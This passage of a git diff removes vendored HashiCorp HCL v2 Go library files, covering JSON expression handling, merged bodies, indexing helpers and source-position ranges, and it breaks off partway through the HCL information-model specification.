jsonAttr := range v.Attrs { - keyExpr := &stringVal{ // we're going to treat key as an expression in this context - Value: jsonAttr.Name, - SrcRange: jsonAttr.NameRange, - } - vars = append(vars, (&expression{src: keyExpr}).Variables()...) - vars = append(vars, (&expression{src: jsonAttr.Value}).Variables()...) - } - } - - return vars -} - -func (e *expression) Range() hcl.Range { - return e.src.Range() -} - -func (e *expression) StartRange() hcl.Range { - return e.src.StartRange() -} - -// Implementation for hcl.AbsTraversalForExpr. -func (e *expression) AsTraversal() hcl.Traversal { - // In JSON-based syntax a traversal is given as a string containing - // traversal syntax as defined by hclsyntax.ParseTraversalAbs. - - switch v := e.src.(type) { - case *stringVal: - traversal, diags := hclsyntax.ParseTraversalAbs([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start) - if diags.HasErrors() { - return nil - } - return traversal - default: - return nil - } -} - -// Implementation for hcl.ExprCall. -func (e *expression) ExprCall() *hcl.StaticCall { - // In JSON-based syntax a static call is given as a string containing - // an expression in the native syntax that also supports ExprCall. - - switch v := e.src.(type) { - case *stringVal: - expr, diags := hclsyntax.ParseExpression([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start) - if diags.HasErrors() { - return nil - } - - call, diags := hcl.ExprCall(expr) - if diags.HasErrors() { - return nil - } - - return call - default: - return nil - } -} - -// Implementation for hcl.ExprList. -func (e *expression) ExprList() []hcl.Expression { - switch v := e.src.(type) { - case *arrayVal: - ret := make([]hcl.Expression, len(v.Values)) - for i, node := range v.Values { - ret[i] = &expression{src: node} - } - return ret - default: - return nil - } -} - -// Implementation for hcl.ExprMap. -func (e *expression) ExprMap() []hcl.KeyValuePair { - switch v := e.src.(type) { - case *objectVal: - ret := make([]hcl.KeyValuePair, len(v.Attrs)) - for i, jsonAttr := range v.Attrs { - ret[i] = hcl.KeyValuePair{ - Key: &expression{src: &stringVal{ - Value: jsonAttr.Name, - SrcRange: jsonAttr.NameRange, - }}, - Value: &expression{src: jsonAttr.Value}, - } - } - return ret - default: - return nil - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/tokentype_string.go b/vendor/github.com/hashicorp/hcl/v2/json/tokentype_string.go deleted file mode 100644 index bbcce5b306..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/tokentype_string.go +++ /dev/null @@ -1,29 +0,0 @@ -// Code generated by "stringer -type tokenType scanner.go"; DO NOT EDIT. - -package json - -import "strconv" - -const _tokenType_name = "tokenInvalidtokenCommatokenColontokenEqualstokenKeywordtokenNumbertokenStringtokenBrackOtokenBrackCtokenBraceOtokenBraceCtokenEOF" - -var _tokenType_map = map[tokenType]string{ - 0: _tokenType_name[0:12], - 44: _tokenType_name[12:22], - 58: _tokenType_name[22:32], - 61: _tokenType_name[32:43], - 75: _tokenType_name[43:55], - 78: _tokenType_name[55:66], - 83: _tokenType_name[66:77], - 91: _tokenType_name[77:88], - 93: _tokenType_name[88:99], - 123: _tokenType_name[99:110], - 125: _tokenType_name[110:121], - 9220: _tokenType_name[121:129], -} - -func (i tokenType) String() string { - if str, ok := _tokenType_map[i]; ok { - return str - } - return "tokenType(" + strconv.FormatInt(int64(i), 10) + ")" -} diff --git a/vendor/github.com/hashicorp/hcl/v2/merged.go b/vendor/github.com/hashicorp/hcl/v2/merged.go deleted file mode 100644 index 96e62a58d4..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/merged.go +++ /dev/null @@ -1,226 +0,0 @@ -package hcl - -import ( - "fmt" -) - -// MergeFiles combines the given files to produce a single body that contains -// configuration from all of the given files. -// -// The ordering of the given files decides the order in which contained -// elements will be returned. If any top-level attributes are defined with -// the same name across multiple files, a diagnostic will be produced from -// the Content and PartialContent methods describing this error in a -// user-friendly way. -func MergeFiles(files []*File) Body { - var bodies []Body - for _, file := range files { - bodies = append(bodies, file.Body) - } - return MergeBodies(bodies) -} - -// MergeBodies is like MergeFiles except it deals directly with bodies, rather -// than with entire files. -func MergeBodies(bodies []Body) Body { - if len(bodies) == 0 { - // Swap out for our singleton empty body, to reduce the number of - // empty slices we have hanging around. - return emptyBody - } - - // If any of the given bodies are already merged bodies, we'll unpack - // to flatten to a single mergedBodies, since that's conceptually simpler. - // This also, as a side-effect, eliminates any empty bodies, since - // empties are merged bodies with no inner bodies. - var newLen int - var flatten bool - for _, body := range bodies { - if children, merged := body.(mergedBodies); merged { - newLen += len(children) - flatten = true - } else { - newLen++ - } - } - - if !flatten { // not just newLen == len, because we might have mergedBodies with single bodies inside - return mergedBodies(bodies) - } - - if newLen == 0 { - // Don't allocate a new empty when we already have one - return emptyBody - } - - new := make([]Body, 0, newLen) - for _, body := range bodies { - if children, merged := body.(mergedBodies); merged { - new = append(new, children...) - } else { - new = append(new, body) - } - } - return mergedBodies(new) -} - -var emptyBody = mergedBodies([]Body{}) - -// EmptyBody returns a body with no content. This body can be used as a -// placeholder when a body is required but no body content is available. -func EmptyBody() Body { - return emptyBody -} - -type mergedBodies []Body - -// Content returns the content produced by applying the given schema to all -// of the merged bodies and merging the result. -// -// Although required attributes _are_ supported, they should be used sparingly -// with merged bodies since in this case there is no contextual information -// with which to return good diagnostics. Applications working with merged -// bodies may wish to mark all attributes as optional and then check for -// required attributes afterwards, to produce better diagnostics. -func (mb mergedBodies) Content(schema *BodySchema) (*BodyContent, Diagnostics) { - // the returned body will always be empty in this case, because mergedContent - // will only ever call Content on the child bodies. - content, _, diags := mb.mergedContent(schema, false) - return content, diags -} - -func (mb mergedBodies) PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) { - return mb.mergedContent(schema, true) -} - -func (mb mergedBodies) JustAttributes() (Attributes, Diagnostics) { - attrs := make(map[string]*Attribute) - var diags Diagnostics - - for _, body := range mb { - thisAttrs, thisDiags := body.JustAttributes() - - if len(thisDiags) != 0 { - diags = append(diags, thisDiags...) - } - - if thisAttrs != nil { - for name, attr := range thisAttrs { - if existing := attrs[name]; existing != nil { - diags = diags.Append(&Diagnostic{ - Severity: DiagError, - Summary: "Duplicate argument", - Detail: fmt.Sprintf( - "Argument %q was already set at %s", - name, existing.NameRange.String(), - ), - Subject: &attr.NameRange, - }) - continue - } - - attrs[name] = attr - } - } - } - - return attrs, diags -} - -func (mb mergedBodies) MissingItemRange() Range { - if len(mb) == 0 { - // Nothing useful to return here, so we'll return some garbage. - return Range{ - Filename: "", - } - } - - // arbitrarily use the first body's missing item range - return mb[0].MissingItemRange() -} - -func (mb mergedBodies) mergedContent(schema *BodySchema, partial bool) (*BodyContent, Body, Diagnostics) { - // We need to produce a new schema with none of the attributes marked as - // required, since _any one_ of our bodies can contribute an attribute value. - // We'll separately check that all required attributes are present at - // the end. - mergedSchema := &BodySchema{ - Blocks: schema.Blocks, - } - for _, attrS := range schema.Attributes { - mergedAttrS := attrS - mergedAttrS.Required = false - mergedSchema.Attributes = append(mergedSchema.Attributes, mergedAttrS) - } - - var mergedLeftovers []Body - content := &BodyContent{ - Attributes: map[string]*Attribute{}, - } - - var diags Diagnostics - for _, body := range mb { - var thisContent *BodyContent - var thisLeftovers Body - var thisDiags Diagnostics - - if partial { - thisContent, thisLeftovers, thisDiags = body.PartialContent(mergedSchema) - } else { - thisContent, thisDiags = body.Content(mergedSchema) - } - - if thisLeftovers != nil { - mergedLeftovers = append(mergedLeftovers, thisLeftovers) - } - if len(thisDiags) != 0 { - diags = append(diags, thisDiags...) - } - - if thisContent.Attributes != nil { - for name, attr := range thisContent.Attributes { - if existing := content.Attributes[name]; existing != nil { - diags = diags.Append(&Diagnostic{ - Severity: DiagError, - Summary: "Duplicate argument", - Detail: fmt.Sprintf( - "Argument %q was already set at %s", - name, existing.NameRange.String(), - ), - Subject: &attr.NameRange, - }) - continue - } - content.Attributes[name] = attr - } - } - - if len(thisContent.Blocks) != 0 { - content.Blocks = append(content.Blocks, thisContent.Blocks...) - } - } - - // Finally, we check for required attributes. - for _, attrS := range schema.Attributes { - if !attrS.Required { - continue - } - - if content.Attributes[attrS.Name] == nil { - // We don't have any context here to produce a good diagnostic, - // which is why we warn in the Content docstring to minimize the - // use of required attributes on merged bodies. - diags = diags.Append(&Diagnostic{ - Severity: DiagError, - Summary: "Missing required argument", - Detail: fmt.Sprintf( - "The argument %q is required, but was not set.", - attrS.Name, - ), - }) - } - } - - leftoverBody := MergeBodies(mergedLeftovers) - return content, leftoverBody, diags -} diff --git a/vendor/github.com/hashicorp/hcl/v2/ops.go b/vendor/github.com/hashicorp/hcl/v2/ops.go deleted file mode 100644 index 5d2910c130..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/ops.go +++ /dev/null @@ -1,288 +0,0 @@ -package hcl - -import ( - "fmt" - "math/big" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" -) - -// Index is a helper function that performs the same operation as the index -// operator in the HCL expression language. That is, the result is the -// same as it would be for collection[key] in a configuration expression. -// -// This is exported so that applications can perform indexing in a manner -// consistent with how the language does it, including handling of null and -// unknown values, etc. -// -// Diagnostics are produced if the given combination of values is not valid. -// Therefore a pointer to a source range must be provided to use in diagnostics, -// though nil can be provided if the calling application is going to -// ignore the subject of the returned diagnostics anyway. -func Index(collection, key cty.Value, srcRange *Range) (cty.Value, Diagnostics) { - if collection.IsNull() { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Attempt to index null value", - Detail: "This value is null, so it does not have any indices.", - Subject: srcRange, - }, - } - } - if key.IsNull() { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Invalid index", - Detail: "Can't use a null value as an indexing key.", - Subject: srcRange, - }, - } - } - ty := collection.Type() - kty := key.Type() - if kty == cty.DynamicPseudoType || ty == cty.DynamicPseudoType { - return cty.DynamicVal, nil - } - - switch { - - case ty.IsListType() || ty.IsTupleType() || ty.IsMapType(): - var wantType cty.Type - switch { - case ty.IsListType() || ty.IsTupleType(): - wantType = cty.Number - case ty.IsMapType(): - wantType = cty.String - default: - // should never happen - panic("don't know what key type we want") - } - - key, keyErr := convert.Convert(key, wantType) - if keyErr != nil { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Invalid index", - Detail: fmt.Sprintf( - "The given key does not identify an element in this collection value: %s.", - keyErr.Error(), - ), - Subject: srcRange, - }, - } - } - - has := collection.HasIndex(key) - if !has.IsKnown() { - if ty.IsTupleType() { - return cty.DynamicVal, nil - } else { - return cty.UnknownVal(ty.ElementType()), nil - } - } - if has.False() { - // We have a more specialized error message for the situation of - // using a fractional number to index into a sequence, because - // that will tend to happen if the user is trying to use division - // to calculate an index and not realizing that HCL does float - // division rather than integer division. - if (ty.IsListType() || ty.IsTupleType()) && key.Type().Equals(cty.Number) { - if key.IsKnown() && !key.IsNull() { - bf := key.AsBigFloat() - if _, acc := bf.Int(nil); acc != big.Exact { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Invalid index", - Detail: fmt.Sprintf("The given key does not identify an element in this collection value: indexing a sequence requires a whole number, but the given index (%g) has a fractional part.", bf), - Subject: srcRange, - }, - } - } - } - } - - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Invalid index", - Detail: "The given key does not identify an element in this collection value.", - Subject: srcRange, - }, - } - } - - return collection.Index(key), nil - - case ty.IsObjectType(): - key, keyErr := convert.Convert(key, cty.String) - if keyErr != nil { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Invalid index", - Detail: fmt.Sprintf( - "The given key does not identify an element in this collection value: %s.", - keyErr.Error(), - ), - Subject: srcRange, - }, - } - } - if !collection.IsKnown() { - return cty.DynamicVal, nil - } - if !key.IsKnown() { - return cty.DynamicVal, nil - } - - attrName := key.AsString() - - if !ty.HasAttribute(attrName) { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Invalid index", - Detail: "The given key does not identify an element in this collection value.", - Subject: srcRange, - }, - } - } - - return collection.GetAttr(attrName), nil - - default: - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Invalid index", - Detail: "This value does not have any indices.", - Subject: srcRange, - }, - } - } - -} - -// GetAttr is a helper function that performs the same operation as the -// attribute access in the HCL expression language. That is, the result is the -// same as it would be for obj.attr in a configuration expression. -// -// This is exported so that applications can access attributes in a manner -// consistent with how the language does it, including handling of null and -// unknown values, etc. -// -// Diagnostics are produced if the given combination of values is not valid. -// Therefore a pointer to a source range must be provided to use in diagnostics, -// though nil can be provided if the calling application is going to -// ignore the subject of the returned diagnostics anyway. -func GetAttr(obj cty.Value, attrName string, srcRange *Range) (cty.Value, Diagnostics) { - if obj.IsNull() { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Attempt to get attribute from null value", - Detail: "This value is null, so it does not have any attributes.", - Subject: srcRange, - }, - } - } - - ty := obj.Type() - switch { - case ty.IsObjectType(): - if !ty.HasAttribute(attrName) { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Unsupported attribute", - Detail: fmt.Sprintf("This object does not have an attribute named %q.", attrName), - Subject: srcRange, - }, - } - } - - if !obj.IsKnown() { - return cty.UnknownVal(ty.AttributeType(attrName)), nil - } - - return obj.GetAttr(attrName), nil - case ty.IsMapType(): - if !obj.IsKnown() { - return cty.UnknownVal(ty.ElementType()), nil - } - - idx := cty.StringVal(attrName) - if obj.HasIndex(idx).False() { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Missing map element", - Detail: fmt.Sprintf("This map does not have an element with the key %q.", attrName), - Subject: srcRange, - }, - } - } - - return obj.Index(idx), nil - case ty == cty.DynamicPseudoType: - return cty.DynamicVal, nil - default: - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Unsupported attribute", - Detail: "This value does not have any attributes.", - Subject: srcRange, - }, - } - } - -} - -// ApplyPath is a helper function that applies a cty.Path to a value using the -// indexing and attribute access operations from HCL. -// -// This is similar to calling the path's own Apply method, but ApplyPath uses -// the more relaxed typing rules that apply to these operations in HCL, rather -// than cty's relatively-strict rules. ApplyPath is implemented in terms of -// Index and GetAttr, and so it has the same behavior for individual steps -// but will stop and return any errors returned by intermediate steps. -// -// Diagnostics are produced if the given path cannot be applied to the given -// value. Therefore a pointer to a source range must be provided to use in -// diagnostics, though nil can be provided if the calling application is going -// to ignore the subject of the returned diagnostics anyway. -func ApplyPath(val cty.Value, path cty.Path, srcRange *Range) (cty.Value, Diagnostics) { - var diags Diagnostics - - for _, step := range path { - var stepDiags Diagnostics - switch ts := step.(type) { - case cty.IndexStep: - val, stepDiags = Index(val, ts.Key, srcRange) - case cty.GetAttrStep: - val, stepDiags = GetAttr(val, ts.Name, srcRange) - default: - // Should never happen because the above are all of the step types. - diags = diags.Append(&Diagnostic{ - Severity: DiagError, - Summary: "Invalid path step", - Detail: fmt.Sprintf("Go type %T is not a valid path step. This is a bug in this program.", step), - Subject: srcRange, - }) - return cty.DynamicVal, diags - } - - diags = append(diags, stepDiags...) - if stepDiags.HasErrors() { - return cty.DynamicVal, diags - } - } - - return val, diags -} diff --git a/vendor/github.com/hashicorp/hcl/v2/pos.go b/vendor/github.com/hashicorp/hcl/v2/pos.go deleted file mode 100644 index 06db8bfbd4..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/pos.go +++ /dev/null @@ -1,275 +0,0 @@ -package hcl - -import "fmt" - -// Pos represents a single position in a source file, by addressing the -// start byte of a unicode character encoded in UTF-8. -// -// Pos is generally used only in the context of a Range, which then defines -// which source file the position is within. -type Pos struct { - // Line is the source code line where this position points. Lines are - // counted starting at 1 and incremented for each newline character - // encountered. - Line int - - // Column is the source code column where this position points, in - // unicode characters, with counting starting at 1. - // - // Column counts characters as they appear visually, so for example a - // latin letter with a combining diacritic mark counts as one character. - // This is intended for rendering visual markers against source code in - // contexts where these diacritics would be rendered in a single character - // cell. Technically speaking, Column is counting grapheme clusters as - // used in unicode normalization. - Column int - - // Byte is the byte offset into the file where the indicated character - // begins. This is a zero-based offset to the first byte of the first - // UTF-8 codepoint sequence in the character, and thus gives a position - // that can be resolved _without_ awareness of Unicode characters. - Byte int -} - -// InitialPos is a suitable position to use to mark the start of a file. -var InitialPos = Pos{Byte: 0, Line: 1, Column: 1} - -// Range represents a span of characters between two positions in a source -// file. -// -// This struct is usually used by value in types that represent AST nodes, -// but by pointer in types that refer to the positions of other objects, -// such as in diagnostics. -type Range struct { - // Filename is the name of the file into which this range's positions - // point. - Filename string - - // Start and End represent the bounds of this range. Start is inclusive - // and End is exclusive. - Start, End Pos -} - -// RangeBetween returns a new range that spans from the beginning of the -// start range to the end of the end range. -// -// The result is meaningless if the two ranges do not belong to the same -// source file or if the end range appears before the start range. -func RangeBetween(start, end Range) Range { - return Range{ - Filename: start.Filename, - Start: start.Start, - End: end.End, - } -} - -// RangeOver returns a new range that covers both of the given ranges and -// possibly additional content between them if the two ranges do not overlap. -// -// If either range is empty then it is ignored. The result is empty if both -// given ranges are empty. -// -// The result is meaningless if the two ranges to not belong to the same -// source file. -func RangeOver(a, b Range) Range { - if a.Empty() { - return b - } - if b.Empty() { - return a - } - - var start, end Pos - if a.Start.Byte < b.Start.Byte { - start = a.Start - } else { - start = b.Start - } - if a.End.Byte > b.End.Byte { - end = a.End - } else { - end = b.End - } - return Range{ - Filename: a.Filename, - Start: start, - End: end, - } -} - -// ContainsPos returns true if and only if the given position is contained within -// the receiving range. -// -// In the unlikely case that the line/column information disagree with the byte -// offset information in the given position or receiving range, the byte -// offsets are given priority. -func (r Range) ContainsPos(pos Pos) bool { - return r.ContainsOffset(pos.Byte) -} - -// ContainsOffset returns true if and only if the given byte offset is within -// the receiving Range. -func (r Range) ContainsOffset(offset int) bool { - return offset >= r.Start.Byte && offset < r.End.Byte -} - -// Ptr returns a pointer to a copy of the receiver. This is a convenience when -// ranges in places where pointers are required, such as in Diagnostic, but -// the range in question is returned from a method. Go would otherwise not -// allow one to take the address of a function call. -func (r Range) Ptr() *Range { - return &r -} - -// String returns a compact string representation of the receiver. -// Callers should generally prefer to present a range more visually, -// e.g. via markers directly on the relevant portion of source code. -func (r Range) String() string { - if r.Start.Line == r.End.Line { - return fmt.Sprintf( - "%s:%d,%d-%d", - r.Filename, - r.Start.Line, r.Start.Column, - r.End.Column, - ) - } else { - return fmt.Sprintf( - "%s:%d,%d-%d,%d", - r.Filename, - r.Start.Line, r.Start.Column, - r.End.Line, r.End.Column, - ) - } -} - -func (r Range) Empty() bool { - return r.Start.Byte == r.End.Byte -} - -// CanSliceBytes returns true if SliceBytes could return an accurate -// sub-slice of the given slice. -// -// This effectively tests whether the start and end offsets of the range -// are within the bounds of the slice, and thus whether SliceBytes can be -// trusted to produce an accurate start and end position within that slice. -func (r Range) CanSliceBytes(b []byte) bool { - switch { - case r.Start.Byte < 0 || r.Start.Byte > len(b): - return false - case r.End.Byte < 0 || r.End.Byte > len(b): - return false - case r.End.Byte < r.Start.Byte: - return false - default: - return true - } -} - -// SliceBytes returns a sub-slice of the given slice that is covered by the -// receiving range, assuming that the given slice is the source code of the -// file indicated by r.Filename. -// -// If the receiver refers to any byte offsets that are outside of the slice -// then the result is constrained to the overlapping portion only, to avoid -// a panic. Use CanSliceBytes to determine if the result is guaranteed to -// be an accurate span of the requested range. -func (r Range) SliceBytes(b []byte) []byte { - start := r.Start.Byte - end := r.End.Byte - if start < 0 { - start = 0 - } else if start > len(b) { - start = len(b) - } - if end < 0 { - end = 0 - } else if end > len(b) { - end = len(b) - } - if end < start { - end = start - } - return b[start:end] -} - -// Overlaps returns true if the receiver and the other given range share any -// characters in common. -func (r Range) Overlaps(other Range) bool { - switch { - case r.Filename != other.Filename: - // If the ranges are in different files then they can't possibly overlap - return false - case r.Empty() || other.Empty(): - // Empty ranges can never overlap - return false - case r.ContainsOffset(other.Start.Byte) || r.ContainsOffset(other.End.Byte): - return true - case other.ContainsOffset(r.Start.Byte) || other.ContainsOffset(r.End.Byte): - return true - default: - return false - } -} - -// Overlap finds a range that is either identical to or a sub-range of both -// the receiver and the other given range. It returns an empty range -// within the receiver if there is no overlap between the two ranges. -// -// A non-empty result is either identical to or a subset of the receiver. -func (r Range) Overlap(other Range) Range { - if !r.Overlaps(other) { - // Start == End indicates an empty range - return Range{ - Filename: r.Filename, - Start: r.Start, - End: r.Start, - } - } - - var start, end Pos - if r.Start.Byte > other.Start.Byte { - start = r.Start - } else { - start = other.Start - } - if r.End.Byte < other.End.Byte { - end = r.End - } else { - end = other.End - } - - return Range{ - Filename: r.Filename, - Start: start, - End: end, - } -} - -// PartitionAround finds the portion of the given range that overlaps with -// the reciever and returns three ranges: the portion of the reciever that -// precedes the overlap, the overlap itself, and then the portion of the -// reciever that comes after the overlap. -// -// If the two ranges do not overlap then all three returned ranges are empty. -// -// If the given range aligns with or extends beyond either extent of the -// reciever then the corresponding outer range will be empty. -func (r Range) PartitionAround(other Range) (before, overlap, after Range) { - overlap = r.Overlap(other) - if overlap.Empty() { - return overlap, overlap, overlap - } - - before = Range{ - Filename: r.Filename, - Start: r.Start, - End: overlap.Start, - } - after = Range{ - Filename: r.Filename, - Start: overlap.End, - End: r.End, - } - - return before, overlap, after -} diff --git a/vendor/github.com/hashicorp/hcl/v2/pos_scanner.go b/vendor/github.com/hashicorp/hcl/v2/pos_scanner.go deleted file mode 100644 index ef0aa1015b..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/pos_scanner.go +++ /dev/null @@ -1,152 +0,0 @@ -package hcl - -import ( - "bufio" - "bytes" - - "github.com/apparentlymart/go-textseg/v12/textseg" -) - -// RangeScanner is a helper that will scan over a buffer using a bufio.SplitFunc -// and visit a source range for each token matched. -// -// For example, this can be used with bufio.ScanLines to find the source range -// for each line in the file, skipping over the actual newline characters, which -// may be useful when printing source code snippets as part of diagnostic -// messages. -// -// The line and column information in the returned ranges is produced by -// counting newline characters and grapheme clusters respectively, which -// mimics the behavior we expect from a parser when producing ranges. -type RangeScanner struct { - filename string - b []byte - cb bufio.SplitFunc - - pos Pos // position of next byte to process in b - cur Range // latest range - tok []byte // slice of b that is covered by cur - err error // error from last scan, if any -} - -// NewRangeScanner creates a new RangeScanner for the given buffer, producing -// ranges for the given filename. -// -// Since ranges have grapheme-cluster granularity rather than byte granularity, -// the scanner will produce incorrect results if the given SplitFunc creates -// tokens between grapheme cluster boundaries. In particular, it is incorrect -// to use RangeScanner with bufio.ScanRunes because it will produce tokens -// around individual UTF-8 sequences, which will split any multi-sequence -// grapheme clusters. -func NewRangeScanner(b []byte, filename string, cb bufio.SplitFunc) *RangeScanner { - return NewRangeScannerFragment(b, filename, InitialPos, cb) -} - -// NewRangeScannerFragment is like NewRangeScanner but the ranges it produces -// will be offset by the given starting position, which is appropriate for -// sub-slices of a file, whereas NewRangeScanner assumes it is scanning an -// entire file. -func NewRangeScannerFragment(b []byte, filename string, start Pos, cb bufio.SplitFunc) *RangeScanner { - return &RangeScanner{ - filename: filename, - b: b, - cb: cb, - pos: start, - } -} - -func (sc *RangeScanner) Scan() bool { - if sc.pos.Byte >= len(sc.b) || sc.err != nil { - // All done - return false - } - - // Since we're operating on an in-memory buffer, we always pass the whole - // remainder of the buffer to our SplitFunc and set isEOF to let it know - // that it has the whole thing. - advance, token, err := sc.cb(sc.b[sc.pos.Byte:], true) - - // Since we are setting isEOF to true this should never happen, but - // if it does we will just abort and assume the SplitFunc is misbehaving. - if advance == 0 && token == nil && err == nil { - return false - } - - if err != nil { - sc.err = err - sc.cur = Range{ - Filename: sc.filename, - Start: sc.pos, - End: sc.pos, - } - sc.tok = nil - return false - } - - sc.tok = token - start := sc.pos - end := sc.pos - new := sc.pos - - // adv is similar to token but it also includes any subsequent characters - // we're being asked to skip over by the SplitFunc. - // adv is a slice covering any additional bytes we are skipping over, based - // on what the SplitFunc told us to do with advance. - adv := sc.b[sc.pos.Byte : sc.pos.Byte+advance] - - // We now need to scan over our token to count the grapheme clusters - // so we can correctly advance Column, and count the newlines so we - // can correctly advance Line. - advR := bytes.NewReader(adv) - gsc := bufio.NewScanner(advR) - advanced := 0 - gsc.Split(textseg.ScanGraphemeClusters) - for gsc.Scan() { - gr := gsc.Bytes() - new.Byte += len(gr) - new.Column++ - - // We rely here on the fact that \r\n is considered a grapheme cluster - // and so we don't need to worry about miscounting additional lines - // on files with Windows-style line endings. - if len(gr) != 0 && (gr[0] == '\r' || gr[0] == '\n') { - new.Column = 1 - new.Line++ - } - - if advanced < len(token) { - // If we've not yet found the end of our token then we'll - // also push our "end" marker along. - // (if advance > len(token) then we'll stop moving "end" early - // so that the caller only sees the range covered by token.) - end = new - } - advanced += len(gr) - } - - sc.cur = Range{ - Filename: sc.filename, - Start: start, - End: end, - } - sc.pos = new - return true -} - -// Range returns a range that covers the latest token obtained after a call -// to Scan returns true. -func (sc *RangeScanner) Range() Range { - return sc.cur -} - -// Bytes returns the slice of the input buffer that is covered by the range -// that would be returned by Range. -func (sc *RangeScanner) Bytes() []byte { - return sc.tok -} - -// Err can be called after Scan returns false to determine if the latest read -// resulted in an error, and obtain that error if so. -func (sc *RangeScanner) Err() error { - return sc.err -} diff --git a/vendor/github.com/hashicorp/hcl/v2/schema.go b/vendor/github.com/hashicorp/hcl/v2/schema.go deleted file mode 100644 index 891257acb2..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/schema.go +++ /dev/null @@ -1,21 +0,0 @@ -package hcl - -// BlockHeaderSchema represents the shape of a block header, and is -// used for matching blocks within bodies. -type BlockHeaderSchema struct { - Type string - LabelNames []string -} - -// AttributeSchema represents the requirements for an attribute, and is used -// for matching attributes within bodies. -type AttributeSchema struct { - Name string - Required bool -} - -// BodySchema represents the desired shallow structure of a body. -type BodySchema struct { - Attributes []AttributeSchema - Blocks []BlockHeaderSchema -} diff --git a/vendor/github.com/hashicorp/hcl/v2/spec.md b/vendor/github.com/hashicorp/hcl/v2/spec.md deleted file mode 100644 index 97ef613182..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/spec.md +++ /dev/null @@ -1,691 +0,0 @@ -# HCL Syntax-Agnostic Information Model - -This is the specification for the general information model (abstract types and -semantics) for hcl. HCL is a system for defining configuration languages for -applications. The HCL information model is designed to support multiple -concrete syntaxes for configuration, each with a mapping to the model defined -in this specification. - -The two primary syntaxes intended for use in conjunction with this model are -[the HCL native syntax](./hclsyntax/spec.md) and [the JSON syntax](./json/spec.md). -In principle other syntaxes are possible as long as either their language model -is sufficiently rich to express the concepts described in this specification -or the language targets a well-defined subset of the specification. - -## Structural Elements - -The primary structural element is the _body_, which is a container representing -a set of zero or more _attributes_ and a set of zero or more _blocks_. - -A _configuration file_ is the top-level object, and will usually be produced -by reading a file from disk and parsing it as a particular syntax. A -configuration file has its own _body_, representing the top-level attributes -and blocks. - -An _attribute_ is a name and value pair associated with a body. Attribute names -are unique within a given body. Attribute values are provided as _expressions_, -which are discussed in detail in a later section. - -A _block_ is a nested structure that has a _type name_, zero or more string -_labels_ (e.g. identifiers), and a nested body. - -Together the structural elements create a hierarchical data structure, with -attributes intended to represent the direct properties of a particular object -in the calling application, and blocks intended to represent child objects -of a particular object. - -## Body Content - -To support the expression of the HCL concepts in languages whose information -model is a subset of HCL's, such as JSON, a _body_ is an opaque container -whose content can only be accessed by providing information on the expected -structure of the content. - -The specification for each syntax must describe how its physical constructs -are mapped on to body content given a schema. For syntaxes that have -first-class syntax distinguishing attributes and bodies this can be relatively -straightforward, while more detailed mapping rules may be required in syntaxes -where the representation of attributes vs. blocks is ambiguous. - -### Schema-driven Processing - -Schema-driven processing is the primary way to access body content. -A _body schema_ is a description of what is expected within a particular body, -which can then be used to extract the _body content_, which then provides -access to the specific attributes and blocks requested. - -A _body schema_ consists of a list of _attribute schemata_ and -_block header schemata_: - -- An _attribute schema_ provides the name of an attribute and whether its - presence is required. - -- A _block header schema_ provides a block type name and the semantic names - assigned to each of the labels of that block type, if any. - -Within a schema, it is an error to request the same attribute name twice or -to request a block type whose name is also an attribute name. While this can -in principle be supported in some syntaxes, in other syntaxes the attribute -and block namespaces are combined and so an attribute cannot coexist with -a block whose type name is identical to the attribute name. - -The result of applying a body schema to a body is _body content_, which -consists of an _attribute map_ and a _block sequence_: - -- The _attribute map_ is a map data structure whose keys are attribute names - and whose values are _expressions_ that represent the corresponding attribute - values. - -- The _block sequence_ is an ordered sequence of blocks, with each specifying - a block _type name_, the sequence of _labels_ specified for the block, - and the body object (not body _content_) representing the block's own body. - -After obtaining _body content_, the calling application may continue processing -by evaluating attribute expressions and/or recursively applying further -schema-driven processing to the child block bodies. - -**Note:** The _body schema_ is intentionally minimal, to reduce the set of -mapping rules that must be defined for each syntax. Higher-level utility -libraries may be provided to assist in the construction of a schema and -perform additional processing, such as automatically evaluating attribute -expressions and assigning their result values into a data structure, or -recursively applying a schema to child blocks. Such utilities are not part of -this core specification and will vary depending on the capabilities and idiom -of the implementation language. - -### _Dynamic Attributes_ Processing - -The _schema-driven_ processing model is useful when the expected structure -of a body is known a priori by the calling application. Some blocks are -instead more free-form, such as a user-provided set of arbitrary key/value -pairs. - -The alternative _dynamic attributes_ processing mode allows for this more -ad-hoc approach. Processing in this mode behaves as if a schema had been -constructed without any _block header schemata_ and with an attribute -schema for each distinct key provided within the physical representation -of the body. - -The means by which _distinct keys_ are identified is dependent on the -physical syntax; this processing mode assumes that the syntax has a way -to enumerate keys provided by the author and identify expressions that -correspond with those keys, but does not define the means by which this is -done. - -The result of _dynamic attributes_ processing is an _attribute map_ as -defined in the previous section. No _block sequence_ is produced in this -processing mode. - -### Partial Processing of Body Content - -Under _schema-driven processing_, by default the given schema is assumed -to be exhaustive, such that any attribute or block not matched by schema -elements is considered an error. This allows feedback about unsupported -attributes and blocks (such as typos) to be provided. - -An alternative is _partial processing_, where any additional elements within -the body 